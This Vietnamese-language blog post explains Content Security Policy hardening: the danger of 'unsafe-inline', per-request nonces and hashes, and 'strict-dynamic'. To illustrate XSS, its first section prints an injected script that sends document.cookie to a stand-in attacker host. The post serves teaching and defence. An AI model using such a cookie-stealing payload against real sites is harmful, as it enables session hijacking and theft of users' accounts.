Security — Không biết là toang

Hiểm họa từ 'unsafe-inline' và cơ chế của CSP

Content Security Policy (CSP) là cơ chế bảo mật ở cấp độ trình duyệt, được truyền qua header HTTP phản hồi từ máy chủ. Nó cho phép lập trình viên giới hạn nguồn tải của các tài nguyên như script, style, image, hay iframe. Một cấu hình CSP sai lầm phổ biến là thêm 'unsafe-inline' vào directive script-src để ứng dụng hoạt động bình thường mà không cần sửa code cũ.

Tuy nhiên, 'unsafe-inline' sẽ vô hiệu hóa phần lớn khả năng bảo vệ của CSP chống lại các cuộc tấn công Cross-Site Scripting (XSS). Kẻ tấn công khi tiêm được một đoạn mã độc dạng <script>maliciousCode()</script> hoặc qua các thuộc tính sự kiện (onload, onerror) sẽ được trình duyệt thực thi trực tiếp vì không có cơ chế nào để phân biệt đâu là inline script của nhà phát triển và đâu là của kẻ tấn công.

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';

<!-- Attacker có thể tiêm đoạn script này và trình duyệt vẫn chạy thoải mái -->
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>

Triển khai Nonce động và Hash để bảo vệ inline script

Để cho phép các inline script hợp lệ hoạt động mà không cần bật 'unsafe-inline', chúng ta có hai cách tiếp cận chính: sử dụng Nonce (Number used once) hoặc sử dụng mật mã Hash.

Với cách dùng Nonce, máy chủ web phải tạo ra một chuỗi ngẫu nhiên, không thể đoán trước (sử dụng module mã hóa bảo mật như crypto.randomBytes) cho MỖI lượt request. Chuỗi này được đưa vào header CSP dưới dạng 'nonce-VALUE' và đồng thời được chèn vào thuộc tính nonce của các thẻ <script> tương ứng trong HTML. Trình duyệt chỉ thực thi những inline script mang đúng giá trị nonce trùng khớp với header.

Với các ứng dụng tĩnh (như Single Page Application được build sẵn), việc tạo nonce động ở runtime có thể khó khăn. Khi đó, ta dùng Hash: tính toán mã băm SHA-256 của toàn bộ nội dung text bên trong thẻ <script> đó, và khai báo mã băm này trong header CSP.

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4Nd0m_K3y_2026';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';

<!-- Inline script này sẽ được chạy vì nonce trùng khớp -->
<script nonce="r4Nd0m_K3y_2026">
  console.log("Ứng dụng khởi tạo an toàn!");
</script>

<!-- Script độc hại bị tiêm sẽ bị chặn đứng vì không có nonce hoặc nonce sai -->
<script>
  alert("Hacker attack!");
</script>

Tối ưu hóa với 'strict-dynamic'

Trong các ứng dụng hiện đại, script tin cậy thường tải thêm các script phụ khác (dynamic script loading). Nếu sử dụng mô hình CSP cổ điển dựa trên host-allowlist (ví dụ cho phép https://apis.google.com), kẻ tấn công có thể lợi dụng các endpoint JSONP lỗi thời trên các domain tin cậy này để vượt qua CSP.

Cơ chế 'strict-dynamic' giải quyết vấn đề này. Khi được thêm vào script-src kèm theo một nonce hoặc hash, nó chỉ thị cho trình duyệt: 'Bất kỳ script nào đã được tin tưởng (thông qua nonce/hash) đều có quyền tải thêm các script khác một cách động, và các script phụ đó cũng tự động được tin tưởng'. Trình duyệt lúc này sẽ bỏ qua toàn bộ danh sách host-allowlist, thu gọn phạm vi bảo vệ.

Content-Security-Policy: script-src 'nonce-random123' 'strict-dynamic' https:;